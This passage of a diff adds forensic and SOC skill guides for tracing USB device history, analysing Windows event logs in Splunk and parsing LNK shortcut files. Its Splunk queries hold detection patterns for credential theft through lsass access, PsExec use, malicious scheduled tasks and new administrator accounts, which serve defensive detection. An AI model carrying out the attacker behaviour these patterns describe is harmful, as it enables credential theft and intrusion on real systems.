logs (setupapi.dev.log) +- Windows Event Logs (System, Security, DriverFrameworks-UserMode) +- USBDeview, USB Forensic Tracker, or RegRipper +- Understanding of USB device identification (VID, PID, serial number) + +## Workflow + +### Step 1: Extract USB-Related Artifacts + +```bash +# Mount forensic image and copy relevant artifacts +mount -o ro,loop,offset=$((2048*512)) /cases/case-2024-001/images/evidence.dd /mnt/evidence + +mkdir -p /cases/case-2024-001/usb/ + +# Registry hives +cp /mnt/evidence/Windows/System32/config/SYSTEM /cases/case-2024-001/usb/ +cp /mnt/evidence/Windows/System32/config/SOFTWARE /cases/case-2024-001/usb/ +cp /mnt/evidence/Users/*/NTUSER.DAT /cases/case-2024-001/usb/ + +# SetupAPI logs (first connection timestamps) +cp /mnt/evidence/Windows/INF/setupapi.dev.log /cases/case-2024-001/usb/ + +# Event logs +cp /mnt/evidence/Windows/System32/winevt/Logs/System.evtx /cases/case-2024-001/usb/ +cp "/mnt/evidence/Windows/System32/winevt/Logs/Microsoft-Windows-DriverFrameworks-UserMode%4Operational.evtx" \ + /cases/case-2024-001/usb/ 2>/dev/null +cp "/mnt/evidence/Windows/System32/winevt/Logs/Microsoft-Windows-Partition%4Diagnostic.evtx" \ + /cases/case-2024-001/usb/ 2>/dev/null +``` + +### Step 2: Parse USBSTOR Registry Key + +```bash +# Extract USBSTOR entries from SYSTEM hive +python3 << 'PYEOF' +from Registry import Registry +import json + +reg = Registry.Registry("/cases/case-2024-001/usb/SYSTEM") + +# Find current ControlSet +select = reg.open("Select") +current = select.value("Current").value() +controlset = f"ControlSet{current:03d}" + +# Parse USBSTOR +usbstor_path = f"{controlset}\\Enum\\USBSTOR" +usbstor = reg.open(usbstor_path) + +devices = [] +print("=== USBSTOR DEVICES ===\n") + +for device_class in usbstor.subkeys(): + # Format: Disk&Ven_VENDOR&Prod_PRODUCT&Rev_REVISION + class_name = device_class.name() + parts = class_name.split('&') + vendor = parts[1].replace('Ven_', '') if len(parts) > 1 else 'Unknown' + product = parts[2].replace('Prod_', '') if len(parts) > 2 else 'Unknown' + revision = parts[3].replace('Rev_', '') if len(parts) > 3 else 'Unknown' + + for instance in device_class.subkeys(): + serial = instance.name() + last_write = instance.timestamp() + + device_info = { + 'vendor': vendor, + 'product': product, + 'revision': revision, + 'serial': serial, + 'last_connected': str(last_write), + } + + # Get friendly name if available + try: + friendly = instance.value("FriendlyName").value() + device_info['friendly_name'] = friendly + except: + pass + + # Get device parameters + try: + params = instance.subkey("Device Parameters") + try: + device_info['class_guid'] = params.value("ClassGUID").value() + except: + pass + except: + pass + + devices.append(device_info) + print(f"Device: {vendor} {product}") + print(f" Serial: {serial}") + print(f" Last Connected: {last_write}") + print(f" Friendly Name: {device_info.get('friendly_name', 'N/A')}") + print() + +# Save results +with open('/cases/case-2024-001/analysis/usb_devices.json', 'w') as f: + json.dump(devices, f, indent=2) + +print(f"\nTotal USB storage devices found: {len(devices)}") +PYEOF +``` + +### Step 3: Extract Drive Letter Assignments and User Associations + +```bash +# Parse MountedDevices from SYSTEM hive +python3 << 'PYEOF' +from Registry import Registry +import struct + +reg = Registry.Registry("/cases/case-2024-001/usb/SYSTEM") + +mounted = reg.open("MountedDevices") + +print("=== MOUNTED DEVICES (Drive Letter Assignments) ===\n") +for value in mounted.values(): + name = value.name() + data = value.value() + + if name.startswith("\\DosDevices\\"): + drive_letter = name.replace("\\DosDevices\\", "") + if len(data) > 24: + # USB device - contains device path string + try: + device_path = data.decode('utf-16-le').strip('\x00') + if 'USBSTOR' in device_path or 'USB#' in device_path: + print(f" {drive_letter} -> {device_path}") + except: + pass + else: + # Fixed disk - contains disk signature + offset + disk_sig = struct.unpack(' Disk Signature: 0x{disk_sig:08X}, Offset: {offset}") +PYEOF + +# Parse user MountPoints2 (which user accessed which devices) +python3 << 'PYEOF' +from Registry import Registry +import os, glob + +print("\n=== USER MOUNT POINTS (MountPoints2) ===\n") + +for ntuser in glob.glob("/cases/case-2024-001/usb/NTUSER*.DAT"): + try: + reg = Registry.Registry(ntuser) + mp2 = reg.open("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2") + + print(f"User hive: {os.path.basename(ntuser)}") + for key in mp2.subkeys(): + guid = key.name() + last_write = key.timestamp() + if '{' in guid: + print(f" Volume: {guid} | Last accessed: {last_write}") + print() + except Exception as e: + print(f" Error parsing {ntuser}: {e}") +PYEOF +``` + +### Step 4: Extract First Connection Timestamps from SetupAPI + +```bash +# Parse setupapi.dev.log for USB device first-install timestamps +python3 << 'PYEOF' +import re + +print("=== SETUPAPI USB DEVICE INSTALLATIONS ===\n") + +with open('/cases/case-2024-001/usb/setupapi.dev.log', 'r', errors='ignore') as f: + content = f.read() + +# Find USB device installation sections +pattern = r'>>>\s+\[Device Install.*?\n.*?Section start (\d{4}/\d{2}/\d{2} \d{2}:\d{2}:\d{2}).*?\n(.*?)<<<' +matches = re.findall(pattern, content, re.DOTALL) + +usb_installs = [] +for timestamp, section in matches: + if 'USBSTOR' in section or 'USB\\VID' in section: + # Extract device ID + dev_match = re.search(r'(USBSTOR\\[^\s]+|USB\\VID_\w+&PID_\w+[^\s]*)', section) + if dev_match: + device_id = dev_match.group(1) + usb_installs.append({ + 'first_install': timestamp, + 'device_id': device_id + }) + print(f" {timestamp} | {device_id}") + +print(f"\nTotal USB installations found: {len(usb_installs)}") +PYEOF + +# Parse Windows Event Logs for USB events +# Event IDs: 2003, 2010, 2100, 2102 (DriverFrameworks-UserMode) +# Event IDs: 6416 (Security - new external device recognized) +python3 << 'PYEOF' +import json +from evtx import PyEvtxParser + +try: + parser = PyEvtxParser("/cases/case-2024-001/usb/System.evtx") + + print("\n=== SYSTEM EVENT LOG USB EVENTS ===\n") + for record in parser.records_json(): + data = json.loads(record['data']) + event_id = str(data['Event']['System']['EventID']) + + # USB device connection events + if event_id in ('20001', '20003', '10000', '10100'): + timestamp = data['Event']['System']['TimeCreated']['#attributes']['SystemTime'] + event_data = data['Event'].get('UserData', data['Event'].get('EventData', {})) + print(f" [{timestamp}] EventID {event_id}: {json.dumps(event_data, default=str)[:200]}") +except Exception as e: + print(f"Error: {e}") +PYEOF +``` + +### Step 5: Build USB Activity Timeline and Report + +```bash +# Compile all USB evidence into a unified timeline +python3 << 'PYEOF' +import json, csv + +timeline = [] + +# Load USBSTOR data +with open('/cases/case-2024-001/analysis/usb_devices.json') as f: + devices = json.load(f) + +for device in devices: + timeline.append({ + 'timestamp': device['last_connected'], + 'source': 'USBSTOR Registry', + 'device': f"{device['vendor']} {device['product']}", + 'serial': device['serial'], + 'event': 'Last Connected', + 'detail': device.get('friendly_name', '') + }) + +# Sort chronologically +timeline.sort(key=lambda x: x['timestamp']) + +# Write timeline CSV +with open('/cases/case-2024-001/analysis/usb_timeline.csv', 'w', newline='') as f: + writer = csv.DictWriter(f, fieldnames=['timestamp', 'source', 'device', 'serial', 'event', 'detail']) + writer.writeheader() + writer.writerows(timeline) + +print(f"USB Timeline: {len(timeline)} events written to usb_timeline.csv") + +# Print summary +print("\n=== USB DEVICE SUMMARY ===") +for entry in timeline: + print(f" {entry['timestamp']} | {entry['device']} | {entry['serial'][:20]} | {entry['event']}") +PYEOF +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| USBSTOR | Registry key storing USB mass storage device identification and connection data | +| VID/PID | Vendor ID and Product ID uniquely identifying USB device manufacturer and model | +| Device serial number | Unique identifier for individual USB devices (some devices share serials) | +| MountedDevices | Registry key mapping volume GUIDs and drive letters to physical devices | +| MountPoints2 | Per-user registry key showing which volumes a user accessed | +| SetupAPI log | Windows driver installation log recording first-time device connections | +| DeviceContainers | Registry key in SOFTWARE hive with device metadata and timestamps | +| EMDMgmt | Registry key tracking ReadyBoost-compatible devices with serial numbers and timestamps | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| USB Forensic Tracker | Specialized tool for USB device history extraction | +| USBDeview | NirSoft tool listing all USB devices connected to a system | +| RegRipper (usbstor plugin) | Automated USB artifact extraction from registry hives | +| Registry Explorer | Interactive registry analysis for USB-related keys | +| KAPE | Automated collection of USB-related artifacts | +| Plaso/log2timeline | Timeline creation including USB connection events | +| FTK Imager | Forensic imaging including removable media | +| Velociraptor | Endpoint agent with USB device history hunting artifacts | + +## Common Scenarios + +**Scenario 1: Data Exfiltration by Departing Employee** +Extract USBSTOR entries to identify all USB devices ever connected, correlate device serial numbers with MountPoints2 to confirm user access, cross-reference timestamps with file access logs and jump list recent files, check for large file copy patterns in USN journal. + +**Scenario 2: Unauthorized Device on Secure System** +Audit all USBSTOR entries against approved device list, identify unauthorized devices by VID/PID not matching corporate-approved hardware, determine when the unauthorized device was first and last connected, check if any data was transferred. + +**Scenario 3: Malware Delivery via USB** +Identify USB device connected just before malware execution (Prefetch timestamps), extract the device serial and vendor information, check if autorun was enabled for the device, look for executable launch from the removable drive letter in Prefetch and ShimCache. + +**Scenario 4: Tracking a Specific USB Drive Across Multiple Systems** +Search for the same device serial number in USBSTOR across all forensic images, build a map of which systems the drive was connected to and when, identify the chronological path of the device through the organization, correlate with network share access logs. + +## Output Format + +``` +USB Device History Analysis: + System: DESKTOP-ABC123 (Windows 10 Pro) + Total USB Storage Devices: 12 + Analysis Sources: USBSTOR, MountedDevices, MountPoints2, SetupAPI, Event Logs + + Device Inventory: + 1. Kingston DataTraveler 3.0 (Serial: 0019E06B4521A2B0) + First Connected: 2024-01-10 09:15:32 (SetupAPI) + Last Connected: 2024-01-18 14:30:00 (USBSTOR) + Drive Letter: E: + User Access: suspect_user (MountPoints2) + + 2. WD My Passport (Serial: 575834314131363035) + First Connected: 2024-01-15 20:00:00 + Last Connected: 2024-01-15 23:45:00 + Drive Letter: F: + User Access: suspect_user + + Suspicious Findings: + - Kingston drive connected 15 times during investigation period + - WD Passport connected only once, late evening (unusual hours) + - Unknown device (VID_1234&PID_5678) connected 2024-01-17, no matching approved device + + Timeline: /cases/case-2024-001/analysis/usb_timeline.csv +``` diff --git a/skills/analyzing-windows-event-logs-in-splunk/SKILL.md b/skills/analyzing-windows-event-logs-in-splunk/SKILL.md new file mode 100644 index 00000000..3dc13f02 --- /dev/null +++ b/skills/analyzing-windows-event-logs-in-splunk/SKILL.md @@ -0,0 +1,279 @@ +--- +name: analyzing-windows-event-logs-in-splunk +description: > + Analyzes Windows Security, System, and Sysmon event logs in Splunk to detect authentication attacks, + privilege escalation, persistence mechanisms, and lateral movement using SPL queries mapped to + MITRE ATT&CK techniques. Use when SOC analysts need to investigate Windows-based threats, + build detection queries, or perform forensic timeline analysis of Windows endpoints and domain controllers. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, splunk, windows-events, sysmon, event-logs, mitre-attack, active-directory] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Windows Event Logs in Splunk + +## When to Use + +Use this skill when: +- SOC analysts investigate alerts related to Windows authentication, process execution, or AD changes +- Detection engineers build SPL queries for Windows-based threat detection +- Incident responders need forensic timelines of Windows endpoint or domain controller activity +- Periodic threat hunting targets Windows-specific ATT&CK techniques + +**Do not use** for Linux/macOS endpoint analysis or network-only investigations. + +## Prerequisites + +- Splunk with Windows Event Log data ingested (sourcetype `WinEventLog:Security`, `WinEventLog:System`, `XmlWinEventLog:Microsoft-Windows-Sysmon/Operational`) +- Sysmon deployed on endpoints with SwiftOnSecurity or Olaf Hartong configuration +- CIM data model acceleration for Endpoint and Authentication data models +- Knowledge of Windows Security Event IDs and Sysmon event types + +## Workflow + +### Step 1: Authentication Attack Detection + +**Brute Force Detection (EventCode 4625 — Failed Logon):** +```spl +index=wineventlog sourcetype="WinEventLog:Security" EventCode=4625 +| stats count, dc(TargetUserName) AS unique_users, values(TargetUserName) AS targeted_users + by src_ip, Logon_Type, Status +| where count > 20 +| eval attack_type = case( + Logon_Type=3, "Network Brute Force", + Logon_Type=10, "RDP Brute Force", + Logon_Type=2, "Interactive Brute Force", + 1=1, "Other" + ) +| eval status_meaning = case( + Status="0xc000006d", "Bad Username or Password", + Status="0xc000006a", "Incorrect Password (valid user)", + Status="0xc0000234", "Account Locked Out", + Status="0xc0000072", "Account Disabled", + 1=1, Status + ) +| sort - count +| table src_ip, attack_type, status_meaning, count, unique_users, targeted_users +``` + +**Password Spray Detection:** +```spl +index=wineventlog sourcetype="WinEventLog:Security" EventCode=4625 Logon_Type=3 +| bin _time span=10m +| stats dc(TargetUserName) AS unique_users, count AS total_attempts, + values(TargetUserName) AS users_targeted by src_ip, _time +| where unique_users > 10 AND total_attempts < unique_users * 3 +| eval spray_confidence = if(unique_users > 25, "HIGH", "MEDIUM") +``` + +**Successful Logon After Failures (Compromise Indicator):** +```spl +index=wineventlog sourcetype="WinEventLog:Security" +(EventCode=4625 OR EventCode=4624) src_ip!="127.0.0.1" +| sort _time +| stats earliest(_time) AS first_seen, latest(_time) AS last_seen, + sum(eval(if(EventCode=4625,1,0))) AS failures, + sum(eval(if(EventCode=4624,1,0))) AS successes + by src_ip, TargetUserName, ComputerName +| where failures > 10 AND successes > 0 +| eval time_to_success = round((last_seen - first_seen)/60, 1) +| sort - failures +``` + +### Step 2: Privilege Escalation Detection + +**New Admin Account Created (T1136.001):** +```spl +index=wineventlog sourcetype="WinEventLog:Security" EventCode=4720 +| join TargetUserName type=left [ + search index=wineventlog EventCode=4732 TargetUserName="Administrators" + | rename MemberName AS TargetUserName + ] +| table _time, SubjectUserName, TargetUserName, ComputerName +| eval alert = "New account created and added to Administrators group" +``` + +**Special Privileges Assigned (EventCode 4672):** +```spl +index=wineventlog sourcetype="WinEventLog:Security" EventCode=4672 +SubjectUserName!="SYSTEM" SubjectUserName!="LOCAL SERVICE" SubjectUserName!="NETWORK SERVICE" +| stats count, values(PrivilegeList) AS privileges by SubjectUserName, ComputerName +| where count > 0 +| search privileges IN ("SeDebugPrivilege", "SeTcbPrivilege", "SeBackupPrivilege", + "SeRestorePrivilege", "SeAssignPrimaryTokenPrivilege") +``` + +**Token Manipulation Detection (T1134):** +```spl +index=sysmon EventCode=10 TargetImage="*\\lsass.exe" +GrantedAccess IN ("0x1010", "0x1038", "0x1fffff", "0x40") +| stats count by SourceImage, SourceUser, Computer, GrantedAccess +| where NOT match(SourceImage, "(svchost|csrss|wininit|MsMpEng|CrowdStrike)") +| sort - count +``` + +### Step 3: Persistence Mechanism Detection + +**Scheduled Task Creation (T1053.005):** +```spl +index=wineventlog (sourcetype="WinEventLog:Security" EventCode=4698) + OR (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 + Image="*\\schtasks.exe") +| eval task_info = coalesce(TaskContent, CommandLine) +| search task_info="*powershell*" OR task_info="*cmd*" OR task_info="*http*" OR task_info="*\\Temp\\*" +| table _time, Computer, SubjectUserName, TaskName, task_info +``` + +**Registry Run Key Modification (T1547.001):** +```spl +index=sysmon EventCode=13 +TargetObject IN ( + "*\\CurrentVersion\\Run\\*", + "*\\CurrentVersion\\RunOnce\\*", + "*\\CurrentVersion\\RunServices\\*", + "*\\Explorer\\Shell Folders\\*" +) +| stats count by Computer, Image, TargetObject, Details +| where NOT match(Image, "(explorer\.exe|msiexec\.exe|setup\.exe)") +| sort - count +``` + +**WMI Event Subscription (T1546.003):** +```spl +index=sysmon EventCode=20 OR EventCode=21 +| stats count by Computer, Operation, Consumer, EventNamespace +| where count > 0 +``` + +### Step 4: Lateral Movement Detection + +**Remote Service Exploitation (T1021.002 — SMB/Windows Admin Shares):** +```spl +index=wineventlog sourcetype="WinEventLog:Security" EventCode=4624 Logon_Type=3 +| stats dc(ComputerName) AS unique_destinations, values(ComputerName) AS targets + by src_ip, TargetUserName +| where unique_destinations > 3 +| sort - unique_destinations +| table src_ip, TargetUserName, unique_destinations, targets +``` + +**PsExec Detection (T1021.002):** +```spl +index=sysmon EventCode=1 +(Image="*\\psexec.exe" OR Image="*\\psexesvc.exe" + OR ParentImage="*\\psexesvc.exe" + OR OriginalFileName="psexec.c") +| table _time, Computer, User, ParentImage, Image, CommandLine +``` + +**RDP Lateral Movement (T1021.001):** +```spl +index=wineventlog sourcetype="WinEventLog:Security" EventCode=4624 Logon_Type=10 +| stats count, dc(ComputerName) AS rdp_targets, values(ComputerName) AS destinations + by src_ip, TargetUserName +| where rdp_targets > 2 +| sort - rdp_targets +``` + +### Step 5: Build Forensic Timeline + +Create comprehensive timeline for a compromised host: + +```spl +(index=wineventlog OR index=sysmon) Computer="WORKSTATION-042" +earliest="2024-03-14T00:00:00" latest="2024-03-16T00:00:00" +| eval event_description = case( + EventCode=4624, "Logon: ".TargetUserName." (Type ".Logon_Type.")", + EventCode=4625, "Failed Logon: ".TargetUserName, + EventCode=4688 OR (sourcetype="XmlWinEventLog:*Sysmon*" AND EventCode=1), + "Process: ".Image." CMD: ".CommandLine, + EventCode=4698, "Scheduled Task: ".TaskName, + EventCode=3, "Network: ".DestinationIp.":".DestinationPort, + EventCode=11, "File Created: ".TargetFilename, + EventCode=13, "Registry: ".TargetObject, + 1=1, "Event ".EventCode + ) +| sort _time +| table _time, EventCode, event_description, User, src_ip +``` + +### Step 6: Create Lookup Tables for Enrichment + +Build reference lookups for Windows Event ID context: + +```spl +| inputlookup windows_eventcode_lookup.csv +| table EventCode, Description, ATT_CK_Technique, Severity +``` + +If lookup doesn't exist, create it: + +```csv +EventCode,Description,ATT_CK_Technique,Severity +4624,Successful Logon,T1078,Informational +4625,Failed Logon,T1110,Low +4648,Explicit Credential Logon,T1078,Medium +4672,Special Privileges Assigned,T1134,Medium +4688,New Process Created,T1059,Informational +4698,Scheduled Task Created,T1053.005,Medium +4720,User Account Created,T1136.001,High +4732,Member Added to Security Group,T1098,High +4768,Kerberos TGT Requested,T1558,Informational +4769,Kerberos Service Ticket,T1558.003,Low +4771,Kerberos Pre-Auth Failed,T1110,Low +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **EventCode 4624** | Successful logon event — Logon_Type 2 (interactive), 3 (network), 10 (RDP), 7 (unlock) | +| **EventCode 4625** | Failed logon event — Status code indicates failure reason (bad password, account locked, disabled) | +| **Sysmon EventCode 1** | Process creation with full command line, parent process, and hash information | +| **Sysmon EventCode 3** | Network connection initiated by a process — source/dest IP, port, and process context | +| **Logon Type 3** | Network logon (SMB, WMI, PowerShell Remoting) — key indicator of lateral movement | +| **Logon Type 10** | Remote interactive logon via RDP/Terminal Services | + +## Tools & Systems + +- **Splunk Enterprise**: SIEM platform with SPL query engine for Windows event log analysis and correlation +- **Sysmon (System Monitor)**: Microsoft Sysinternals tool providing detailed process, network, and file activity logging +- **Splunk CIM**: Common Information Model mapping Windows events to normalized fields for cross-source queries +- **Windows Event Forwarding (WEF)**: Built-in Windows mechanism for centralizing event logs to a collector server + +## Common Scenarios + +- **Kerberoasting (T1558.003)**: Detect EventCode 4769 with encryption type 0x17 (RC4) for non-standard service accounts +- **DCSync (T1003.006)**: Detect EventCode 4662 with DS-Replication-Get-Changes from non-DC sources +- **Golden Ticket (T1558.001)**: Detect EventCode 4769 with abnormal ticket properties (long lifetime, non-standard encryption) +- **Pass-the-Hash (T1550.002)**: Detect EventCode 4624 Logon_Type 3 with NTLM authentication from unexpected sources +- **DLL Side-Loading (T1574.002)**: Sysmon EventCode 7 showing unsigned DLLs loaded by legitimate processes + +## Output Format + +``` +WINDOWS EVENT LOG ANALYSIS — HOST: WORKSTATION-042 +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Period: 2024-03-14 to 2024-03-15 +Events: 12,847 total (Security: 9,231 | Sysmon: 3,616) + +Authentication Summary: + Successful Logons (4624): 487 (Type 3: 312, Type 10: 45, Type 2: 130) + Failed Logons (4625): 847 (from 192.168.1.105 — BRUTE FORCE) + Explicit Creds (4648): 12 + +Suspicious Findings: + [HIGH] 847 failed logons followed by success at 14:35 from 192.168.1.105 + [HIGH] New user "backdoor_admin" created (4720) at 14:38 + [HIGH] User added to Administrators group (4732) at 14:38 + [MEDIUM] schtasks.exe creating persistence task at 14:42 + [MEDIUM] PowerShell encoded command execution at 14:45 + +ATT&CK Mapping: + T1110.001 — Password Guessing (847 failed logons) + T1136.001 — Local Account Creation (backdoor_admin) + T1053.005 — Scheduled Task (persistence) + T1059.001 — PowerShell (encoded execution) +``` diff --git a/skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md b/skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md new file mode 100644 index 00000000..5335a2c6 --- /dev/null +++ b/skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md @@ -0,0 +1,310 @@ +--- +name: analyzing-windows-lnk-files-for-artifacts +description: Parse Windows LNK shortcut files to extract target paths, timestamps, volume information, and machine identifiers for forensic timeline reconstruction. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, lnk-files, windows-artifacts, shortcut-analysis, timeline-reconstruction, evidence-collection] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Windows LNK Files for Artifacts + +## When to Use +- When reconstructing user file access history from Windows shortcut files +- For tracking accessed files, network shares, and removable media +- During investigations to prove a user opened specific documents +- When correlating file access with other timeline artifacts +- For identifying accessed paths on remote systems or USB devices + +## Prerequisites +- Access to LNK files from forensic image (Recent, Desktop, Quick Launch) +- LECmd (Eric Zimmerman), python-lnk, or LnkParser for analysis +- Understanding of LNK file structure (Shell Link Binary format) +- Knowledge of LNK file locations on Windows systems +- Forensic workstation with analysis tools installed + +## Workflow + +### Step 1: Collect LNK Files from Forensic Image + +```bash +# Mount forensic image +mount -o ro,loop,offset=$((2048*512)) /cases/case-2024-001/images/evidence.dd /mnt/evidence + +mkdir -p /cases/case-2024-001/lnk/{recent,desktop,startup,custom} + +# Copy Recent items LNK files (primary source) +cp /mnt/evidence/Users/*/AppData/Roaming/Microsoft/Windows/Recent/*.lnk \ + /cases/case-2024-001/lnk/recent/ 2>/dev/null + +# Copy automatic destinations (Jump Lists) +cp /mnt/evidence/Users/*/AppData/Roaming/Microsoft/Windows/Recent/AutomaticDestinations/*.automaticDestinations-ms \ + /cases/case-2024-001/lnk/recent/ 2>/dev/null + +# Copy custom destinations (pinned Jump List items) +cp /mnt/evidence/Users/*/AppData/Roaming/Microsoft/Windows/Recent/CustomDestinations/*.customDestinations-ms \ + /cases/case-2024-001/lnk/custom/ 2>/dev/null + +# Copy Desktop shortcuts +cp /mnt/evidence/Users/*/Desktop/*.lnk /cases/case-2024-001/lnk/desktop/ 2>/dev/null + +# Copy Startup folder shortcuts (persistence) +cp /mnt/evidence/Users/*/AppData/Roaming/Microsoft/Windows/Start\ Menu/Programs/Startup/*.lnk \ + /cases/case-2024-001/lnk/startup/ 2>/dev/null +cp "/mnt/evidence/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup"/*.lnk \ + /cases/case-2024-001/lnk/startup/ 2>/dev/null + +# Find all LNK files on the system +find /mnt/evidence/ -name "*.lnk" -type f 2>/dev/null > /cases/case-2024-001/lnk/all_lnk_locations.txt + +# Count and hash +ls /cases/case-2024-001/lnk/recent/ | wc -l +sha256sum /cases/case-2024-001/lnk/recent/*.lnk > /cases/case-2024-001/lnk/lnk_hashes.txt 2>/dev/null +``` + +### Step 2: Parse LNK Files with LECmd + +```bash +# Using Eric Zimmerman's LECmd (Windows or via Mono) +# Process all LNK files in a directory +LECmd.exe -d "C:\cases\lnk\recent\" --csv "C:\cases\analysis\" --csvf lnk_analysis.csv + +# Process a single LNK file with verbose output +LECmd.exe -f "C:\cases\lnk\recent\document.pdf.lnk" + +# Process Jump List files +JLECmd.exe -d "C:\cases\lnk\recent\" --csv "C:\cases\analysis\" --csvf jumplist_analysis.csv + +# Output includes: +# - Source file path +# - Target path (file that was accessed) +# - Target creation, modification, access timestamps +# - LNK creation and modification timestamps +# - Working directory +# - Command line arguments +# - Volume serial number and label +# - Drive type (Fixed, Removable, Network) +# - Machine ID (NetBIOS name) +# - MAC address (from tracker database) +# - File size of target +``` + +### Step 3: Parse LNK Files with Python + +```bash +pip install LnkParse3 + +python3 << 'PYEOF' +import LnkParse3 +import os, json, csv +from datetime import datetime + +lnk_dir = '/cases/case-2024-001/lnk/recent/' +results = [] + +for filename in sorted(os.listdir(lnk_dir)): + if not filename.lower().endswith('.lnk'): + continue + + filepath = os.path.join(lnk_dir, filename) + try: + with open(filepath, 'rb') as f: + lnk = LnkParse3.lnk_file(f) + info = lnk.get_json() + + parsed = { + 'lnk_file': filename, + 'target_path': '', + 'working_dir': '', + 'arguments': '', + 'target_created': '', + 'target_modified': '', + 'target_accessed': '', + 'file_size': '', + 'drive_type': '', + 'volume_serial': '', + 'volume_label': '', + 'machine_id': '', + 'mac_address': '', + } + + # Extract header timestamps + header = info.get('header', {}) + parsed['target_created'] = str(header.get('creation_time', '')) + parsed['target_modified'] = str(header.get('modified_time', '')) + parsed['target_accessed'] = str(header.get('accessed_time', '')) + parsed['file_size'] = str(header.get('file_size', '')) + + # Extract link info + link_info = info.get('link_info', {}) + if link_info: + local_path = link_info.get('local_base_path', '') + network_path = link_info.get('common_network_relative_link', {}).get('net_name', '') + parsed['target_path'] = local_path or network_path + + vol_info = link_info.get('volume_id', {}) + if vol_info: + parsed['drive_type'] = str(vol_info.get('drive_type', '')) + parsed['volume_serial'] = str(vol_info.get('drive_serial_number', '')) + parsed['volume_label'] = str(vol_info.get('volume_label', '')) + + # Extract string data + string_data = info.get('string_data', {}) + parsed['working_dir'] = str(string_data.get('working_dir', '')) + parsed['arguments'] = str(string_data.get('command_line_arguments', '')) + + # Extract tracker data (machine ID and MAC) + extra = info.get('extra', {}) + tracker = extra.get('DISTRIBUTED_LINK_TRACKER_BLOCK', {}) + if tracker: + parsed['machine_id'] = str(tracker.get('machine_id', '')) + parsed['mac_address'] = str(tracker.get('mac_address', '')) + + results.append(parsed) + + # Print summary + print(f"\n{filename}") + print(f" Target: {parsed['target_path']}") + print(f" Modified: {parsed['target_modified']}") + print(f" Drive: {parsed['drive_type']} (Serial: {parsed['volume_serial']})") + if parsed['machine_id']: + print(f" Machine: {parsed['machine_id']}") + + except Exception as e: + print(f" Error parsing {filename}: {e}") + +# Write results to CSV +with open('/cases/case-2024-001/analysis/lnk_analysis.csv', 'w', newline='') as f: + writer = csv.DictWriter(f, fieldnames=results[0].keys() if results else []) + writer.writeheader() + writer.writerows(results) + +print(f"\n\nTotal LNK files parsed: {len(results)}") +PYEOF +``` + +### Step 4: Analyze for Investigative Value + +```bash +# Identify files accessed from removable media +python3 << 'PYEOF' +import csv + +with open('/cases/case-2024-001/analysis/lnk_analysis.csv') as f: + reader = csv.DictReader(f) + + print("=== FILES ACCESSED FROM REMOVABLE MEDIA ===\n") + removable = [] + network = [] + + for row in reader: + if 'DRIVE_REMOVABLE' in row.get('drive_type', '').upper() or \ + 'removable' in row.get('drive_type', '').lower(): + removable.append(row) + print(f" {row['target_modified']} | {row['target_path']} | Vol: {row['volume_serial']}") + + if 'network' in row.get('drive_type', '').lower() or \ + row.get('target_path', '').startswith('\\\\'): + network.append(row) + + print(f"\n=== FILES ACCESSED FROM NETWORK SHARES ===\n") + for row in network: + print(f" {row['target_modified']} | {row['target_path']}") + + print(f"\nRemovable media files: {len(removable)}") + print(f"Network share files: {len(network)}") + + # Check for unique machines (tracker data) + machines = set() + for row in [*removable, *network]: + if row.get('machine_id'): + machines.add(row['machine_id']) + if machines: + print(f"\nMachine IDs found: {machines}") +PYEOF + +# Check Startup folder LNK files for persistence +echo "=== STARTUP FOLDER SHORTCUTS (PERSISTENCE) ===" > /cases/case-2024-001/analysis/startup_persistence.txt +for lnk in /cases/case-2024-001/lnk/startup/*.lnk; do + python3 -c " +import LnkParse3 +with open('$lnk', 'rb') as f: + lnk = LnkParse3.lnk_file(f) + info = lnk.get_json() + target = info.get('link_info', {}).get('local_base_path', 'Unknown') + args = info.get('string_data', {}).get('command_line_arguments', '') + print(f' $(basename $lnk): {target} {args}') +" >> /cases/case-2024-001/analysis/startup_persistence.txt 2>/dev/null +done +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Shell Link (.lnk) | Windows shortcut file format containing target path, timestamps, and metadata | +| Target timestamps | Creation, modification, and access times of the file the shortcut points to | +| Volume serial number | Unique identifier of the drive volume where the target file resides | +| Machine ID | NetBIOS name embedded by the Distributed Link Tracking service | +| MAC address | Network adapter MAC from the machine that created the LNK file | +| Jump Lists | Recent and pinned file lists per application (contain embedded LNK data) | +| Automatic Destinations | System-managed Jump List entries for recently opened files | +| Custom Destinations | User-pinned Jump List items that persist until manually removed | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| LECmd | Eric Zimmerman command-line LNK file parser with CSV/JSON output | +| JLECmd | Eric Zimmerman Jump List parser | +| LnkParse3 | Python library for programmatic LNK file analysis | +| lnk_parser | Alternative Python LNK parsing tool | +| Autopsy | Forensic platform with LNK file analysis module | +| KAPE | Automated LNK and Jump List artifact collection | +| Plaso | Timeline tool with LNK file parser for super-timeline creation | +| LNK Explorer | GUI tool for interactive LNK file examination | + +## Common Scenarios + +**Scenario 1: Data Exfiltration via USB Drive** +Analyze Recent folder LNK files for targets on removable drives, correlate volume serial numbers with USBSTOR registry entries, build a list of files accessed from USB devices, establish which documents were opened from the removable drive, correlate with file copy timestamps. + +**Scenario 2: Malware Persistence via Startup Shortcuts** +Examine Startup folder LNK files for malicious targets, check target path and arguments for encoded commands or suspicious executables, verify target file exists and examine it, correlate creation timestamp with initial compromise time. + +**Scenario 3: Network Share Access Investigation** +Filter LNK files with network paths (UNC targets), identify which network shares were accessed and when, correlate machine IDs with known corporate systems, check if sensitive file servers were accessed outside of normal duties, build access timeline for compliance investigation. + +**Scenario 4: Document Access Timeline for Legal Proceedings** +Extract all Recent folder LNK files, build chronological list of documents accessed by the user, identify specific files relevant to the case, present target timestamps showing when files were 